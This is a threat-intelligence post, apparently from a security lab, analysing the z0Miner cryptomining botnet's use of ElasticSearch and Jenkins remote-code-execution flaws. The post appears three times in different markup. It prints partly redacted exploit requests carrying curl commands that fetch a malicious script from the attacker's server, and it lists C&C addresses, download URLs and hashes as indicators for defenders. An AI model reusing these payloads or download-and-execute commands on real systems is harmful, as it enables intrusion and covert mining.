Threat Alert: z0Miner Is Spreading quickly by Exploiting ElasticSearch and Jenkins Vulnerabilities
<h2 id="overview"><strong>Overview</strong></h2><p>In recent months, with the huge rise of Bitcoin and Monroe, various mining botnet have kicked into high gear, and our BotMon system detects dozens of mining Botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them.</p><p>z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the <a href="https://s.tencent.com/research/report/1170.html">Tencent Security Team</a>. z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation.</p><p>Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="__GHOST_URL__/content/images/2021/03/status-1.png" class="kg-image" alt loading="lazy"><figcaption>z0Miner recent active trends</figcaption></figure><h2 id="vulnerability-exploit"><strong>Vulnerability exploit</strong></h2><h3 id="elasticsearch-rce-vulnerability-cve-2015-1427"><strong>ElasticSearch RCE vulnerability CVE-2015-1427</strong></h3><p>Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit Payload is as follows (key details have been omitted).</p><pre><code>POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}
</code></pre><h3 id="jenkins-script-console-rce-vulnerability"><strong>Jenkins script console RCE vulnerability</strong></h3><p>This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner Payload is</p><pre><code>POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&amp;json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&amp;Submit=Run
</code></pre><h2 id="sample-analysis"><strong>Sample Analysis</strong></h2><h3 id="initial-shell-script"><strong>Initial Shell Script</strong></h3><p>The core logic of the Payloads exploited by the above two vulnerabilities is to download <code>hxxp://27.1.1.34:8080/docs/conf.txt</code> and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier <strong>z0.txt</strong>. The logic is essentially the same as in the earlier z0.txt</p><ol><li>Kill the competitor</li><li>Setting up Cron</li><li>Download &amp; execute the mining programs</li></ol><h3 id="cron"><strong>Cron</strong></h3><p>As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks, the latest malicious script URLs are as follows.</p><pre><code>hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
</code></pre><p>Currently, the script downloaded from the above URL only contains an <code>exit</code> command, and more malicious actions probably will be added in the future.</p><h3 id="mining"><strong>Mining</strong></h3><p>After killing competitors and setting up crontab, <strong>conf.txt</strong> will download the mining kit from the following 3 URLs and start mining.</p><pre><code>hxxp://27.1.1.34:8080/docs/config.json     --&gt; Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe   --&gt; XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh         --&gt; Miner Starter Shell script file
</code></pre><p>The <strong>solr.sh</strong> file is a shell script file dedicated to killing more competitors and starting the mining program.</p><p>The XMR Wallet in the <strong>config.json</strong> file differs from the earlier z0Miner Wallet:</p><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
</code></pre><p>And now reads over 22 XMRs have been mined so far.</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/03/xmr_paid-1.png" class="kg-image" alt loading="lazy"></figure><h3 id="contact-us"><strong><strong>Contact us</strong></strong></h3><p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong><strong>twitter</strong></strong></a>, or email to netlab at 360<br>dot cn.</p><h2 id="ioc"><strong>IoC</strong></h2><h3 id="cc"><strong>C&amp;C</strong></h3><pre><code>27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV
178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean
</code></pre><h3 id="url"><strong>URL</strong></h3><pre><code>hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh
</code></pre><h3 id="md5"><strong>MD5</strong></h3><pre><code>84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9
</code></pre><h3 id="xrm-wallet"><strong>XRM Wallet</strong></h3><pre><code>49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7</code></pre>
Overview

In recent months, with the huge rise of Bitcoin and Monroe, various mining botnet have kicked into high gear, and our BotMon system detects dozens of mining Botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them.

z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the Tencent Security Team. z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation.

Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends.


Vulnerability exploit


ElasticSearch RCE vulnerability CVE-2015-1427

Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit Payload is as follows (key details have been omitted).

POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

{...exec(\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\")...}



Jenkins script console RCE vulnerability

This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner Payload is

POST /{VULN_URI} HTTP/1.1
Host: {target}:{port}

curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run



Sample Analysis


Initial Shell Script

The core logic of the Payloads exploited by the above two vulnerabilities is to download hxxp://27.1.1.34:8080/docs/conf.txt and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier z0.txt. The logic is essentially the same as in the earlier z0.txt

 1. Kill the competitor
 2. Setting up Cron
 3. Download & execute the mining programs


Cron

As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks, the latest malicious script URLs are as follows.

hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt


Currently, the script downloaded from the above URL only contains an exit command, and more malicious actions probably will be added in the future.


Mining

After killing competitors and setting up crontab, conf.txt will download the mining kit from the following 3 URLs and start mining.

hxxp://27.1.1.34:8080/docs/config.json     --> Mining Config file
hxxp://178.62.202.152:8080/Wuck/java.exe   --> XMRig Miner
hxxp://27.1.1.34:8080/docs/solr.sh         --> Miner Starter Shell script file


The solr.sh file is a shell script file dedicated to killing more competitors and starting the mining program.

The XMR Wallet in the config.json file differs from the earlier z0Miner Wallet:

49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7


And now reads over 22 XMRs have been mined so far.


Contact us

Readers are always welcomed to reach us on twitter, or email to netlab at 360
dot cn.


IoC


C&C

27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV
178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean



URL

hxxp://27.1.1.34:8080/docs/conf.txt
hxxps://pastebin.com/raw/4rb51qKW
hxxps://pastebin.com/raw/bwD1BCXt
hxxp://27.1.1.34:8080/docs/config.json
hxxp://178.62.202.152:8080/Wuck/java.exe
hxxp://178.62.202.152:8080/Wuck/xmrig.exe
hxxp://27.1.1.34:8080/docs/solr.sh



MD5

84417ff134484bb8ce4ff567574beaa5
c1dcc75d729e31833892cb649f450568
adb190c4e90cc61ca266cfda355826df
d833fc2ced5d0791a404ced14ecf4e20
26a91e9a94c7f8d966de1541095a3d92
373b018bef17e04d8ff29472390403f9



XRM Wallet

49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7
{"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2021/03/status-1.png","alt":"","title":"","caption":"z0Miner recent active trends"}],["code",{"code":"POST /{VULN_URI} HTTP/1.1\nHost: {target}:{port}\n\n{...exec(\\\"curl -fsSL http://27.1.1.34:8080/docs/conf.txt -o /tmp/baby\\\")...}\n"}],["code",{"code":"POST /{VULN_URI} HTTP/1.1\nHost: {target}:{port}\n\ncurl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%22.execute%28%29.text&json=%7B%22script%22%3A+%22println+%5C%22curl+-fsSL+http%3A%2F%2F27.1.1.34:8080%2Fdocs%2Fconf.txt+-o+%2Ftmp%2Fsolr%5C%22.execute%28%29.text%22%2C+%22%22%3A+%22%22%7D&Submit=Run\n"}],["code",{"code":"hxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/config.json     --> Mining Config file\nhxxp://178.62.202.152:8080/Wuck/java.exe   --> XMRig Miner\nhxxp://27.1.1.34:8080/docs/solr.sh         --> Miner Starter Shell script file\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/03/xmr_paid-1.png","alt":"","title":""}],["code",{"code":"27.1.1.34:8080            Republic_of_Korea|Seoul                       ASN9943|KangNam_CableTV\n178.62.202.152:8080   Netherlands|North_Holland|Amsterdam    ASN14061|DigitalOcean\n"}],["code",{"code":"hxxp://27.1.1.34:8080/docs/conf.txt\nhxxps://pastebin.com/raw/4rb51qKW\nhxxps://pastebin.com/raw/bwD1BCXt\nhxxp://27.1.1.34:8080/docs/config.json\nhxxp://178.62.202.152:8080/Wuck/java.exe\nhxxp://178.62.202.152:8080/Wuck/xmrig.exe\nhxxp://27.1.1.34:8080/docs/solr.sh\n"}],["code",{"code":"84417ff134484bb8ce4ff567574beaa5\nc1dcc75d729e31833892cb649f450568\nadb190c4e90cc61ca266cfda355826df\nd833fc2ced5d0791a404ced14ecf4e20\n26a91e9a94c7f8d966de1541095a3d92\n373b018bef17e04d8ff29472390403f9\n"}],["code",{"code":"49r6Mp1fcb4fUT5FPTgaz9E47fZV7n6JiY76c4vdBZvgDm8GmWHTVYM9Azpe4MsA9oXs2RpUNPPfH7oXABr3QnwNQKaP2W7"}]],"markups":[["strong"],["a",["href","https://s.tencent.com/research/report/1170.html"]],["code"],["a",["href","https://twitter.com/360Netlab"]]],"sections":[[1,"h2",[[0,[0],1,"Overview"]]],[1,"p",[[0,[],0,"In recent months, with the huge rise of Bitcoin and Monroe, various mining botnet have kicked into high gear, and our BotMon system detects dozens of mining Botnet attacks pretty much every day, most of them are old families, some just changed their wallets or propagation methods, and z0Miner is one of them."]]],[1,"p",[[0,[],0,"z0Miner is a malicious mining family that became active last year and has been publicly analyzed by the "],[0,[1],1,"Tencent Security Team"],[0,[],0,". z0Miner was initially active when it exploited the Weblogic unauthorized remote command execution vulnerability for propagation."]]],[1,"p",[[0,[],0,"Recently, our Anglerfish honeypot system captured that z0Miner was also spreading by exploiting remote command execution vulnerabilities in ElasticSearch and Jenkins, with the following recent active trends."]]],[10,0],[1,"h2",[[0,[0],1,"Vulnerability exploit"]]],[1,"h3",[[0,[0],1,"ElasticSearch RCE vulnerability CVE-2015-1427"]]],[1,"p",[[0,[],0,"Although it is an old vulnerability from 2015, z0Miner is still using it. The vulnerability exploit Payload is as follows (key details have been omitted)."]]],[10,1],[1,"h3",[[0,[0],1,"Jenkins script console RCE vulnerability"]]],[1,"p",[[0,[],0,"This vulnerability was exposed a bit earlier than CVE-2015-1427 above, and the corresponding z0Miner Payload is"]]],[10,2],[1,"h2",[[0,[0],1,"Sample Analysis"]]],[1,"h3",[[0,[0],1,"Initial Shell Script"]]],[1,"p",[[0,[],0,"The core logic of the Payloads exploited by the above two vulnerabilities is to download "],[0,[2],1,"hxxp://27.1.1.34:8080/docs/conf.txt"],[0,[],0," and execute it. This file is a malicious shell script that corresponds to z0Miner's earlier "],[0,[0],1,"z0.txt"],[0,[],0,". The logic is essentially the same as in the earlier z0.txt"]]],[3,"ol",[[[0,[],0,"Kill the competitor"]],[[0,[],0,"Setting up Cron"]],[[0,[],0,"Download & execute the mining programs"]]]],[1,"h3",[[0,[0],1,"Cron"]]],[1,"p",[[0,[],0,"As in the early days, z0Miner will still download and execute malicious scripts on Pastebin periodically by setting up Cron tasks, the latest malicious script URLs are as follows."]]],[10,3],[1,"p",[[0,[],0,"Currently, the script downloaded from the above URL only contains an "],[0,[2],1,"exit"],[0,[],0," command, and more malicious actions probably will be added in the future."]]],[1,"h3",[[0,[0],1,"Mining"]]],[1,"p",[[0,[],0,"After killing competitors and setting up crontab, "],[0,[0],1,"conf.txt"],[0,[],0," will download the mining kit from the following 3 URLs and start mining."]]],[10,4],[1,"p",[[0,[],0,"The "],[0,[0],1,"solr.sh"],[0,[],0," file is a shell script file dedicated to killing more competitors and starting the mining program."]]],[1,"p",[[0,[],0,"The XMR Wallet in the "],[0,[0],1,"config.json"],[0,[],0," file differs from the earlier z0Miner Wallet:"]]],[10,5],[1,"p",[[0,[],0,"And now reads over 22 XMRs have been mined so far."]]],[10,6],[1,"h3",[[0,[0,0],2,"Contact us"]]],[1,"p",[[0,[],0,"Readers are always welcomed to reach us on "],[0,[3,0,0],3,"twitter"],[0,[],0,", or email to netlab at 360"],[1,[],0,0],[0,[],0,"dot cn."]]],[1,"h2",[[0,[0],1,"IoC"]]],[1,"h3",[[0,[0],1,"C&C"]]],[10,7],[1,"h3",[[0,[0],1,"URL"]]],[10,8],[1,"h3",[[0,[0],1,"MD5"]]],[10,9],[1,"h3",[[0,[0],1,"XRM Wallet"]]],[10,10]],"ghostVersion":"3.0"}